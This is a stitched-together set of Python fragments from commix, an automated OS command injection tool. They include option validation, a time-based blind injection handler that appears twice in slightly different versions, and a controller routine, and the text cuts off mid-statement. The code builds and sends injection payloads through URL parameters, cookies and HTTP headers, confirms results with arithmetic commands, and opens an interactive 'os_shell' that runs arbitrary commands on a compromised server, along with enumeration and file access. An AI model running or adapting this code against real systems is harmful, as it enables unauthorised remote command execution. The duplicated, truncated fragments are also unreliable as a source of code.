menu.options.test_parameter != None: checks.check_injection_level() # Check if defined character used for splitting cookie values. if menu.options.cdel: settings.COOKIE_DELIMITER = menu.options.cdel # Check for skipping injection techniques. if menu.options.skip_tech: if menu.options.tech: err_msg = "The options '--technique' and '--skip-technique' cannot be used " err_msg += "simultaneously (i.e. only one option must be set)." print(settings.print_critical_msg(err_msg)) raise SystemExit settings.SKIP_TECHNIQUES = True menu.options.tech = menu.options.skip_tech # Check if specified wrong injection technique if menu.options.tech and menu.options.tech not in settings.AVAILABLE_TECHNIQUES: found_tech = False # Convert injection technique(s) to lowercase menu.options.tech = menu.options.tech.lower() # Check if used the ',' separator if settings.PARAMETER_SPLITTING_REGEX in menu.options.tech: split_techniques_names = menu.options.tech.split( settings.PARAMETER_SPLITTING_REGEX) else: split_techniques_names = menu.options.tech.split() if split_techniques_names: for i in range(0, len(split_techniques_names)): if len(menu.options.tech) <= 4: split_first_letter = list(menu.options.tech) for j in range(0, len(split_first_letter)): if split_first_letter[ j] in settings.AVAILABLE_TECHNIQUES: found_tech = True else: found_tech = False if split_techniques_names[i].replace(' ', '') not in settings.AVAILABLE_TECHNIQUES and \ found_tech == False: err_msg = "You specified wrong value '" + split_techniques_names[ i] err_msg += "' as injection technique. " err_msg += "The value for '" if not settings.SKIP_TECHNIQUES: err_msg += "--technique" else: err_msg += "--skip-technique" err_msg += "' must be a string composed by the letters C, E, T, F. " err_msg += "Refer to the official wiki for details." print(settings.print_critical_msg(err_msg)) raise SystemExit() # Check if specified wrong alternative shell if menu.options.alter_shell: if menu.options.alter_shell.lower( ) not in settings.AVAILABLE_SHELLS: err_msg = "'" + menu.options.alter_shell + "' shell is not supported!" print(settings.print_critical_msg(err_msg)) raise SystemExit() # Check the file-destination if menu.options.file_write and not menu.options.file_dest or \ menu.options.file_upload and not menu.options.file_dest: err_msg = "Host's absolute filepath to write and/or upload, must be specified (i.e. '--file-dest')." print(settings.print_critical_msg(err_msg)) raise SystemExit() if menu.options.file_dest and menu.options.file_write == None and menu.options.file_upload == None: err_msg = "You must enter the '--file-write' or '--file-upload' parameter." print(settings.print_critical_msg(err_msg)) raise SystemExit() # Check if defined "--url" or "-m" option. if url: if menu.options.auth_cred and menu.options.auth_cred and settings.VERBOSITY_LEVEL >= 1: success_msg = "Used a valid pair of " + menu.options.auth_type success_msg += " HTTP authentication credentials '" + menu.options.auth_cred + "'." print(settings.print_success_msg(success_msg)) # Load the crawler if menu.options.crawldepth > 0 or menu.options.sitemap_url: url = crawler.crawler(url) try: if menu.options.flush_session: session_handler.flush(url) # Check for CGI scripts on url checks.check_CGI_scripts(url) # Modification on payload if not menu.options.shellshock: if not settings.USE_BACKTICKS: settings.SYS_USERS = "echo $(" + settings.SYS_USERS + ")" settings.SYS_PASSES = "echo $(" + settings.SYS_PASSES + ")" # Check if defined "--file-upload" option. if menu.options.file_upload: checks.file_upload() try: _urllib.request.urlopen(menu.options.file_upload) except _urllib.error.HTTPError as err_msg: print(settings.print_critical_msg(str(err_msg.code))) raise SystemExit() except _urllib.error.URLError as err_msg: print( settings.print_critical_msg( str(err_msg.args[0]).split("] ")[1] + ".")) raise SystemExit() try: # Webpage encoding detection. requests.encoding_detection(response) if response.info()['server']: server_banner = response.info()['server'] # Procedure for target server's operating system identification. requests.check_target_os(server_banner) # Procedure for target server identification. requests.server_identification(server_banner) # Procedure for target application identification requests.application_identification(server_banner, url) # Store the Server's root dir settings.DEFAULT_WEB_ROOT = settings.WEB_ROOT if menu.options.is_admin or menu.options.is_root and not menu.options.current_user: menu.options.current_user = True # Define Python working directory. checks.define_py_working_dir() # Check for wrong flags. checks.check_wrong_flags() else: found_os_server = checks.user_defined_os() except KeyError: pass # Load tamper scripts if menu.options.tamper: checks.tamper_scripts() except _urllib.error.HTTPError as err_msg: # Check the codes of responses if str(err_msg.getcode()) == settings.INTERNAL_SERVER_ERROR: print("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]") content = err_msg.read() raise SystemExit() # Invalid permission to access target URL page. elif str(err_msg.getcode()) == settings.FORBIDDEN_ERROR: if settings.VERBOSITY_LEVEL < 2: print("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]") err_msg = "You don't have permission to access this page." print(settings.print_critical_msg(err_msg)) raise SystemExit() # The target host seems to be down! elif str(err_msg.getcode()) == settings.NOT_FOUND_ERROR: if settings.VERBOSITY_LEVEL < 2: print("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]") err_msg = "The host seems to be down!" print(settings.print_critical_msg(err_msg)) raise SystemExit() else: raise # The target host seems to be down! except _urllib.error.URLError as e: if settings.VERBOSITY_LEVEL < 2: print("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]") err_msg = "The host seems to be down" try: err_msg += " (" + str(e.args[0]).split("] ")[1] + ")." except IndexError: err_msg += "." pass print(settings.print_critical_msg(err_msg)) raise SystemExit() except _http_client.BadStatusLine as err_msg: if settings.VERBOSITY_LEVEL < 2: print("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]") if len(err_msg.line) > 2: print(err_msg.line, err_msg.message) pass except AttributeError: pass else: err_msg = "You must specify the target URL." print(settings.print_critical_msg(err_msg)) raise SystemExit() # Retrieve everything from the supported enumeration options. if menu.options.enum_all: checks.enable_all_enumeration_options() # Launch injection and exploitation controller. controller.do_check(url, filename) return filename # Accidental stop / restart of the target host server. except _http_client.BadStatusLine as err_msg: if err_msg.line == "" or err_msg.message == "": err_msg = "The target host is not responding." err_msg += " Please ensure that is up and try again." print("\n\n" + settings.print_critical_msg(err_msg)) logs.print_logs_notification(filename, url) else: err_msg = err_msg.line + err_msg.message print(settings.print_critical_msg(err_msg) + "\n") session_handler.clear(url) raise SystemExit() # Connection reset by peer except SocketError as err_msg: if settings.VERBOSITY_LEVEL >= 1: print("") err_msg = "The target host is not responding." err_msg += " Please ensure that is up and try again." print("\n" + settings.print_critical_msg(err_msg)) logs.print_logs_notification(filename, url)
filename = logs_filename_creation() main(filename, url) except KeyboardInterrupt: abort_msg = "User aborted procedure " abort_msg += "during the " + checks.assessment_phase() abort_msg += " phase (Ctrl-C was pressed)." new_line = "\n" if settings.FILE_BASED_STATE or \ settings.TEMPFILE_BASED_STATE : if not settings.DETECTION_PHASE and \ settings.EXPLOITATION_PHASE: if settings.VERBOSITY_LEVEL != 0: new_line = "" print(new_line + settings.print_abort_msg(abort_msg)) try: logs.print_logs_notification(filename, url) print("") except NameError: raise SystemExit() except SystemExit: print("") raise SystemExit() except EOFError: err_msg = "Exiting, due to EOFError." print(settings.print_error_msg(err_msg)) raise SystemExit() # eof
def tb_injection_handler(url, timesec, filename, http_request_method, url_time_response): counter = 1 num_of_chars = 1 vp_flag = True no_result = True is_encoded = False possibly_vulnerable = False false_positive_warning = False export_injection_info = False how_long = 0 injection_type = "blind OS command injection" technique = "time-based command injection technique" if settings.VERBOSITY_LEVEL >= 1: info_msg = "Testing the " + "(" + injection_type.split( " ")[0] + ") " + technique + "... " print settings.print_info_msg(info_msg) # Check if defined "--maxlen" option. if menu.options.maxlen: maxlen = settings.MAXLEN # Check if defined "--url-reload" option. if menu.options.url_reload == True: warn_msg = "The '--url-reload' option is not available in " + technique + "." print settings.print_warning_msg(warn_msg) #whitespace = checks.check_whitespaces() # Calculate all possible combinations total = len(settings.WHITESPACE) * len(settings.PREFIXES) * len( settings.SEPARATORS) * len(settings.SUFFIXES) for whitespace in settings.WHITESPACE: for prefix in settings.PREFIXES: for suffix in settings.SUFFIXES: for separator in settings.SEPARATORS: # Check injection state settings.DETECTION_PHASE = True settings.EXPLOITATION_PHASE = False # If a previous session is available. how_long_statistic = [] if settings.LOAD_SESSION and session_handler.notification( url, technique, injection_type): try: settings.TIME_BASED_STATE = True cmd = shell = "" url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation( url, http_request_method) checks.check_for_stored_tamper(payload) settings.FOUND_HOW_LONG = how_long settings.FOUND_DIFF = how_long - timesec except TypeError: err_msg = "An error occurred while accessing session file ('" err_msg += settings.SESSION_FILE + "'). " err_msg += "Use the '--flush-session' option." print settings.print_critical_msg(err_msg) sys.exit(0) if settings.RETEST == True: settings.RETEST = False from src.core.injections.results_based.techniques.classic import cb_handler cb_handler.exploitation(url, timesec, filename, http_request_method) if not settings.LOAD_SESSION: num_of_chars = num_of_chars + 1 # Check for bad combination of prefix and separator combination = prefix + separator if combination in settings.JUNK_COMBINATION: prefix = "" # Define alter shell alter_shell = menu.options.alter_shell # Change TAG on every request to prevent false-positive results. TAG = ''.join( random.choice(string.ascii_uppercase) for num_of_chars in range(6)) tag_length = len(TAG) + 4 for output_length in range(1, int(tag_length)): try: if alter_shell: # Time-based decision payload (check if host is vulnerable). payload = tb_payloads.decision_alter_shell( separator, TAG, output_length, timesec, http_request_method) else: # Time-based decision payload (check if host is vulnerable). payload = tb_payloads.decision( separator, TAG, output_length, timesec, http_request_method) # Fix prefixes / suffixes payload = parameters.prefixes(payload, prefix) payload = parameters.suffixes(payload, suffix) # Whitespace fixation payload = re.sub(" ", whitespace, payload) # Check for base64 / hex encoding payload = checks.perform_payload_encoding( payload) # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL == 1: payload_msg = payload.replace("\n", "\\n") print settings.print_payload(payload_msg) # Check if defined "--verbose" option. elif settings.VERBOSITY_LEVEL > 1: info_msg = "Generating a payload for injection..." print settings.print_info_msg(info_msg) payload_msg = payload.replace("\n", "\\n") sys.stdout.write( settings.print_payload(payload_msg) + "\n") # Cookie Injection if settings.COOKIE_INJECTION == True: # Check if target host is vulnerable to cookie injection. vuln_parameter = parameters.specify_cookie_parameter( menu.options.cookie) how_long = tb_injector.cookie_injection_test( url, vuln_parameter, payload) # User-Agent Injection elif settings.USER_AGENT_INJECTION == True: # Check if target host is vulnerable to user-agent injection. vuln_parameter = parameters.specify_user_agent_parameter( menu.options.agent) how_long = tb_injector.user_agent_injection_test( url, vuln_parameter, payload) # Referer Injection elif settings.REFERER_INJECTION == True: # Check if target host is vulnerable to referer injection. vuln_parameter = parameters.specify_referer_parameter( menu.options.referer) how_long = tb_injector.referer_injection_test( url, vuln_parameter, payload) # Custom HTTP header Injection elif settings.CUSTOM_HEADER_INJECTION == True: # Check if target host is vulnerable to custom http header injection. vuln_parameter = parameters.specify_custom_header_parameter( settings.INJECT_TAG) how_long = tb_injector.custom_header_injection_test( url, vuln_parameter, payload) else: # Check if target host is vulnerable. how_long, vuln_parameter = tb_injector.injection_test( payload, http_request_method, url) # Statistical analysis in time responses. how_long_statistic.append(how_long) # Injection percentage calculation percent = ((num_of_chars * 100) / total) float_percent = "{0:.1f}".format( round( ((num_of_chars * 100) / (total * 1.0)), 2)) if percent == 100 and no_result == True: if not settings.VERBOSITY_LEVEL >= 1: percent = Fore.RED + "FAILED" + Style.RESET_ALL else: percent = "" else: if (url_time_response == 0 and (how_long - timesec) >= 0) or \ (url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \ (url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)) : # Time relative false positive fixation. false_positive_fixation = False if len(TAG) == output_length: # Simple statical analysis statistical_anomaly = True if len(set(how_long_statistic[0:5]) ) == 1: if max(xrange( len(how_long_statistic) ), key=lambda x: how_long_statistic[ x]) == len(TAG) - 1: statistical_anomaly = False how_long_statistic = [] if timesec <= how_long and not statistical_anomaly: false_positive_fixation = True else: false_positive_warning = True # Identified false positive warning message. if false_positive_warning: warn_msg = "Unexpected time delays have been identified due to unstable " warn_msg += "requests. This behavior may lead to false-positive results.\n" sys.stdout.write( "\r" + settings.print_warning_msg( warn_msg)) while True: if not menu.options.batch: question_msg = "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > " sys.stdout.write( settings. print_question_msg( question_msg)) proceed_option = sys.stdin.readline( ).replace("\n", "").lower() else: proceed_option = "" if len(proceed_option) == 0: proceed_option = "c" if proceed_option.lower( ) in settings.CHOICE_PROCEED: if proceed_option.lower( ) == "s": false_positive_fixation = False raise elif proceed_option.lower( ) == "c": timesec = timesec + 1 false_positive_fixation = True break elif proceed_option.lower( ) == "q": raise SystemExit() else: err_msg = "'" + proceed_option + "' is not a valid answer." print settings.print_error_msg( err_msg) pass # Check if false positive fixation is True. if false_positive_fixation: false_positive_fixation = False settings.FOUND_HOW_LONG = how_long settings.FOUND_DIFF = how_long - timesec if false_positive_warning: time.sleep(1) randv1 = random.randrange(1, 10) randv2 = random.randrange(1, 10) randvcalc = randv1 + randv2 if settings.TARGET_OS == "win": if alter_shell: cmd = settings.WIN_PYTHON_DIR + "python.exe -c \"print (" + str( randv1) + " + " + str( randv2) + ")\"" else: cmd = "powershell.exe -InputFormat none write (" + str( randv1) + " + " + str( randv2) + ")" else: cmd = "expr " + str( randv1) + " + " + str( randv2) + "" # Set the original delay time original_how_long = how_long # Check for false positive resutls how_long, output = tb_injector.false_positive_check( separator, TAG, cmd, whitespace, prefix, suffix, timesec, http_request_method, url, vuln_parameter, randvcalc, alter_shell, how_long, url_time_response) if (url_time_response == 0 and (how_long - timesec) >= 0) or \ (url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \ (url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)) : if str(output) == str( randvcalc) and len( TAG ) == output_length: possibly_vulnerable = True how_long_statistic = 0 if not settings.VERBOSITY_LEVEL >= 1: percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL else: percent = "" else: break # False positive else: if not settings.VERBOSITY_LEVEL >= 1: percent = str( float_percent) + "%" info_msg = "Testing the " + "(" + injection_type.split( " " )[0] + ") " + technique + "... " + "[ " + percent + " ]" sys.stdout.write( "\r" + settings.print_info_msg( info_msg)) sys.stdout.flush() continue else: if not settings.VERBOSITY_LEVEL >= 1: percent = str(float_percent) + "%" info_msg = "Testing the " + "(" + injection_type.split( " " )[0] + ") " + technique + "... " + "[ " + percent + " ]" sys.stdout.write( "\r" + settings.print_info_msg( info_msg)) sys.stdout.flush() continue if not settings.VERBOSITY_LEVEL >= 1: info_msg = "Testing the " + "(" + injection_type.split( " " )[0] + ") " + technique + "... " + "[ " + percent + " ]" sys.stdout.write( "\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() except KeyboardInterrupt: raise except SystemExit: raise except: break break # Yaw, got shellz! # Do some magic tricks! if (url_time_response == 0 and (how_long - timesec) >= 0) or \ (url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \ (url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)) : if (len(TAG) == output_length) and \ (possibly_vulnerable == True or settings.LOAD_SESSION and int(is_vulnerable) == menu.options.level): found = True no_result = False # Check injection state settings.DETECTION_PHASE = False settings.EXPLOITATION_PHASE = True if settings.LOAD_SESSION: possibly_vulnerable = False if settings.COOKIE_INJECTION == True: header_name = " cookie" found_vuln_parameter = vuln_parameter the_type = " parameter" elif settings.USER_AGENT_INJECTION == True: header_name = " User-Agent" found_vuln_parameter = "" the_type = " HTTP header" elif settings.REFERER_INJECTION == True: header_name = " Referer" found_vuln_parameter = "" the_type = " HTTP header" elif settings.CUSTOM_HEADER_INJECTION == True: header_name = " " + settings.CUSTOM_HEADER_NAME found_vuln_parameter = "" the_type = " HTTP header" else: header_name = "" the_type = " parameter" if http_request_method == "GET": found_vuln_parameter = parameters.vuln_GET_param( url) else: found_vuln_parameter = vuln_parameter if len(found_vuln_parameter) != 0: found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'" # Print the findings to log file. if export_injection_info == False: export_injection_info = logs.add_type_and_technique( export_injection_info, filename, injection_type, technique) if vp_flag == True: vp_flag = logs.add_parameter( vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload) logs.update_payload(filename, counter, payload) counter = counter + 1 if not settings.VERBOSITY_LEVEL > 1 and not settings.LOAD_SESSION: print "" # Print the findings to terminal. success_msg = "The" if found_vuln_parameter == " ": success_msg += http_request_method + "" success_msg += ('', ' (JSON)')[ settings.IS_JSON] + the_type + header_name success_msg += found_vuln_parameter + " seems injectable via " success_msg += "(" + injection_type.split( " ")[0] + ") " + technique + "." print settings.print_success_msg(success_msg) print settings.SUB_CONTENT_SIGN + "Payload: " + payload.replace( "\n", "\\n") + Style.RESET_ALL # Export session if not settings.LOAD_SESSION: shell = "" session_handler.injection_point_importation( url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, original_how_long, output_length, is_vulnerable=menu.options.level) #possibly_vulnerable = False else: settings.LOAD_SESSION = False new_line = False # Check for any enumeration options. if settings.ENUMERATION_DONE == True: while True: if not menu.options.batch: question_msg = "Do you want to enumerate again? [Y/n] > " enumerate_again = raw_input( "\n" + settings.print_question_msg( question_msg)).lower() else: enumerate_again = "" if len(enumerate_again) == 0: enumerate_again = "y" if enumerate_again in settings.CHOICE_YES: tb_enumeration.do_check( separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) print "" break elif enumerate_again in settings.CHOICE_NO: new_line = True break elif enumerate_again in settings.CHOICE_QUIT: sys.exit(0) else: err_msg = "'" + enumerate_again + "' is not a valid answer." print settings.print_error_msg(err_msg) pass else: if menu.enumeration_options(): tb_enumeration.do_check( separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) print "" # Check for any system file access options. if settings.FILE_ACCESS_DONE == True: print "" while True: if not menu.options.batch: question_msg = "Do you want to access files again? [Y/n] > " sys.stdout.write( settings.print_question_msg( question_msg)) file_access_again = sys.stdin.readline( ).replace("\n", "").lower() else: file_access_again = "" if len(file_access_again) == 0: file_access_again = "y" if file_access_again in settings.CHOICE_YES: tb_file_access.do_check( separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) break elif file_access_again in settings.CHOICE_NO: if not new_line: new_line = True break elif file_access_again in settings.CHOICE_QUIT: sys.exit(0) else: err_msg = "'" + file_access_again + "' is not a valid answer." print settings.print_error_msg(err_msg) pass else: # if not menu.enumeration_options() and not menu.options.os_cmd: # print "" tb_file_access.do_check( separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) # Check if defined single cmd. if menu.options.os_cmd: cmd = menu.options.os_cmd check_how_long, output = tb_enumeration.single_os_cmd_exec( separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) # Export injection result tb_injector.export_injection_results( cmd, separator, output, check_how_long) print "" logs.print_logs_notification(filename, url) sys.exit(0) if not new_line: print "" # Pseudo-Terminal shell go_back = False go_back_again = False while True: if go_back == True: break if not menu.options.batch: question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > " sys.stdout.write( settings.print_question_msg( question_msg)) gotshell = sys.stdin.readline().replace( "\n", "").lower() else: gotshell = "" if len(gotshell) == 0: gotshell = "y" if gotshell in settings.CHOICE_YES: if not menu.options.batch: print "" print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)" if readline_error: checks.no_readline_module() while True: if false_positive_warning: warn_msg = "Due to unexpected time delays, it is highly " warn_msg += "recommended to enable the 'reverse_tcp' option.\n" sys.stdout.write( "\r" + settings.print_warning_msg( warn_msg)) false_positive_warning = False try: # Tab compliter if not readline_error: readline.set_completer( menu.tab_completer) # MacOSX tab compliter if getattr( readline, '__doc__', '' ) is not None and 'libedit' in getattr( readline, '__doc__', ''): readline.parse_and_bind( "bind ^I rl_complete") # Unix tab compliter else: readline.parse_and_bind( "tab: complete") cmd = raw_input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """) cmd = checks.escaped_cmd(cmd) if cmd.lower( ) in settings.SHELL_OPTIONS: go_back, go_back_again = shell_options.check_option( separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE="") if go_back and go_back_again == False: break if go_back and go_back_again: return True else: if menu.options.ignore_session or \ session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: # The main command injection exploitation. check_how_long, output = tb_injector.injection( separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) # Export injection result tb_injector.export_injection_results( cmd, separator, output, check_how_long) if not menu.options.ignore_session: session_handler.store_cmd( url, cmd, output, vuln_parameter) else: output = session_handler.export_stored_cmd( url, cmd, vuln_parameter) print "\n" + Fore.GREEN + Style.BRIGHT + output + Style.RESET_ALL # Update logs with executed cmds and execution results. logs.executed_command( filename, cmd, output) print "" except KeyboardInterrupt: raise except SystemExit: raise elif gotshell in settings.CHOICE_NO: if checks.next_attack_vector( technique, go_back) == True: break else: if no_result == True: return False else: return True elif gotshell in settings.CHOICE_QUIT: sys.exit(0) else: err_msg = "'" + gotshell + "' is not a valid answer." print settings.print_error_msg(err_msg) pass break if no_result == True: if settings.VERBOSITY_LEVEL == 0: print "" return False else: sys.stdout.write("\r") sys.stdout.flush()
def do_check(url, filename): # Check for '--tor' option. if menu.options.tor: if not menu.options.tech or "t" in menu.options.tech or "f" in menu.options.tech: warn_msg = "It is highly recommended to avoid usage of switch '--tor' for " warn_msg += "time-based injections because of inherent high latency time." print(settings.print_warning_msg(warn_msg)) # Check for '--backticks' option. if menu.options.enable_backticks: if not menu.options.tech or "e" in menu.options.tech or "t" in menu.options.tech or "f" in menu.options.tech: warn_msg = "The '--backticks' switch is only supported by the classic command injection. " warn_msg += "It will be ignored for all other techniques." print(settings.print_warning_msg(warn_msg)) + Style.RESET_ALL if menu.options.wizard: if perform_checks(url, filename) == False: scan_level = menu.options.level while int(scan_level) < int(settings.HTTP_HEADER_INJECTION_LEVEL ) and settings.LOAD_SESSION != True: if not menu.options.batch: question_msg = "Do you want to increase to '--level=" + str( scan_level + 1) question_msg += "' in order to perform more tests? [Y/n] > " next_level = _input( settings.print_question_msg(question_msg)) else: next_level = "" if len(next_level) == 0: next_level = "Y" if next_level in settings.CHOICE_YES: menu.options.level = int(menu.options.level + scan_level) if perform_checks( url, filename ) == False and scan_level < settings.HTTP_HEADER_INJECTION_LEVEL: scan_level = scan_level + 1 else: break elif next_level in settings.CHOICE_NO: break elif next_level in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + next_level + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass else: perform_checks(url, filename) # All injection techniques seems to be failed! if settings.CLASSIC_STATE == settings.EVAL_BASED_STATE == settings.TIME_BASED_STATE == settings.FILE_BASED_STATE == False: if settings.INJECTION_CHECKER == False and not settings.CHECK_BOTH_OS: err_msg = "All tested parameters " if menu.options.level > 2: err_msg += "and headers " err_msg += "appear to be not injectable." if not menu.options.alter_shell: err_msg += " Try to use the option '--alter-shell'" else: err_msg += " Try to remove the option '--alter-shell'" if menu.options.level < settings.HTTP_HEADER_INJECTION_LEVEL: err_msg += " and/or try to increase '--level' values to perform" err_msg += " more tests (i.e 'User-Agent', 'Referer', 'Host', 'Cookie' etc)" else: if menu.options.skip_empty: err_msg += " and/or try to remove the option '--skip-empty'" err_msg += "." print(settings.print_critical_msg(err_msg)) logs.print_logs_notification(filename, url) if not settings.CHECK_BOTH_OS: # if not menu.options.bulkfile or settings.EOF: # print("") raise SystemExit() # eof
def tb_injection_handler(url, timesec, filename, http_request_method, url_time_response): counter = 1 num_of_chars = 1 vp_flag = True no_result = True is_encoded = False possibly_vulnerable = False false_positive_warning = False export_injection_info = False how_long = 0 injection_type = "blind OS command injection" technique = "time-based command injection technique" if settings.VERBOSITY_LEVEL >= 1: info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "... " print settings.print_info_msg(info_msg) # Check if defined "--maxlen" option. if menu.options.maxlen: maxlen = settings.MAXLEN # Check if defined "--url-reload" option. if menu.options.url_reload == True: warn_msg = "The '--url-reload' option is not available in " + technique + "." print settings.print_warning_msg(warn_msg) #whitespace = checks.check_whitespaces() # Calculate all possible combinations total = len(settings.WHITESPACE) * len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES) for whitespace in settings.WHITESPACE: for prefix in settings.PREFIXES: for suffix in settings.SUFFIXES: for separator in settings.SEPARATORS: # Check injection state settings.DETECTION_PHASE = True settings.EXPLOITATION_PHASE = False # If a previous session is available. how_long_statistic = [] if settings.LOAD_SESSION and session_handler.notification(url, technique, injection_type): try: settings.TIME_BASED_STATE = True cmd = shell = "" url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method) checks.check_for_stored_tamper(payload) settings.FOUND_HOW_LONG = how_long settings.FOUND_DIFF = how_long - timesec except TypeError: err_msg = "An error occurred while accessing session file ('" err_msg += settings.SESSION_FILE + "'). " err_msg += "Use the '--flush-session' option." print settings.print_critical_msg(err_msg) raise SystemExit() if settings.RETEST == True: settings.RETEST = False from src.core.injections.results_based.techniques.classic import cb_handler cb_handler.exploitation(url, timesec, filename, http_request_method) if not settings.LOAD_SESSION: num_of_chars = num_of_chars + 1 # Check for bad combination of prefix and separator combination = prefix + separator if combination in settings.JUNK_COMBINATION: prefix = "" # Define alter shell alter_shell = menu.options.alter_shell # Change TAG on every request to prevent false-positive results. TAG = ''.join(random.choice(string.ascii_uppercase) for num_of_chars in range(6)) tag_length = len(TAG) + 4 for output_length in range(1, int(tag_length)): try: if alter_shell: # Time-based decision payload (check if host is vulnerable). payload = tb_payloads.decision_alter_shell(separator, TAG, output_length, timesec, http_request_method) else: # Time-based decision payload (check if host is vulnerable). payload = tb_payloads.decision(separator, TAG, output_length, timesec, http_request_method) # Fix prefixes / suffixes payload = parameters.prefixes(payload, prefix) payload = parameters.suffixes(payload, suffix) # Whitespace fixation payload = payload.replace(" ", whitespace) # Perform payload modification payload = checks.perform_payload_modification(payload) # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL == 1: payload_msg = payload.replace("\n", "\\n") print settings.print_payload(payload_msg) # Check if defined "--verbose" option. elif settings.VERBOSITY_LEVEL > 1: info_msg = "Generating a payload for injection..." print settings.print_info_msg(info_msg) payload_msg = payload.replace("\n", "\\n") sys.stdout.write(settings.print_payload(payload_msg) + "\n") # Cookie header injection if settings.COOKIE_INJECTION == True: # Check if target host is vulnerable to cookie header injection. vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie) how_long = tb_injector.cookie_injection_test(url, vuln_parameter, payload) # User-Agent HTTP header injection elif settings.USER_AGENT_INJECTION == True: # Check if target host is vulnerable to user-agent HTTP header injection. vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent) how_long = tb_injector.user_agent_injection_test(url, vuln_parameter, payload) # Referer HTTP header injection elif settings.REFERER_INJECTION == True: # Check if target host is vulnerable to referer HTTP header injection. vuln_parameter = parameters.specify_referer_parameter(menu.options.referer) how_long = tb_injector.referer_injection_test(url, vuln_parameter, payload) # Host HTTP header injection elif settings.HOST_INJECTION == True: # Check if target host is vulnerable to host HTTP header injection. vuln_parameter = parameters.specify_host_parameter(menu.options.host) how_long = tb_injector.host_injection_test(url, vuln_parameter, payload) # Custom HTTP header Injection elif settings.CUSTOM_HEADER_INJECTION == True: # Check if target host is vulnerable to custom http header injection. vuln_parameter = parameters.specify_custom_header_parameter(settings.INJECT_TAG) how_long = tb_injector.custom_header_injection_test(url, vuln_parameter, payload) else: # Check if target host is vulnerable. how_long, vuln_parameter = tb_injector.injection_test(payload, http_request_method, url) # Statistical analysis in time responses. how_long_statistic.append(how_long) # Injection percentage calculation percent = ((num_of_chars * 100) / total) float_percent = "{0:.1f}".format(round(((num_of_chars*100)/(total * 1.0)),2)) if percent == 100 and no_result == True: if not settings.VERBOSITY_LEVEL >= 1: percent = Fore.RED + "FAILED" + Style.RESET_ALL else: percent = "" else: if (url_time_response == 0 and (how_long - timesec) >= 0) or \ (url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \ (url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)) : # Time relative false positive fixation. false_positive_fixation = False if len(TAG) == output_length: # Simple statical analysis statistical_anomaly = True if len(set(how_long_statistic[0:5])) == 1: if max(xrange(len(how_long_statistic)), key=lambda x: how_long_statistic[x]) == len(TAG) - 1: statistical_anomaly = False how_long_statistic = [] if timesec <= how_long and not statistical_anomaly: false_positive_fixation = True else: false_positive_warning = True # Identified false positive warning message. if false_positive_warning: warn_msg = "Unexpected time delays have been identified due to unstable " warn_msg += "requests. This behavior may lead to false-positive results.\n" sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) while True: if not menu.options.batch: question_msg = "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > " sys.stdout.write(settings.print_question_msg(question_msg)) proceed_option = sys.stdin.readline().replace("\n","").lower() else: proceed_option = "" if len(proceed_option) == 0: proceed_option = "c" if proceed_option.lower() in settings.CHOICE_PROCEED : if proceed_option.lower() == "s": false_positive_fixation = False raise elif proceed_option.lower() == "c": timesec = timesec + 1 false_positive_fixation = True break elif proceed_option.lower() == "q": raise SystemExit() else: err_msg = "'" + proceed_option + "' is not a valid answer." print settings.print_error_msg(err_msg) pass # Check if false positive fixation is True. if false_positive_fixation: false_positive_fixation = False settings.FOUND_HOW_LONG = how_long settings.FOUND_DIFF = 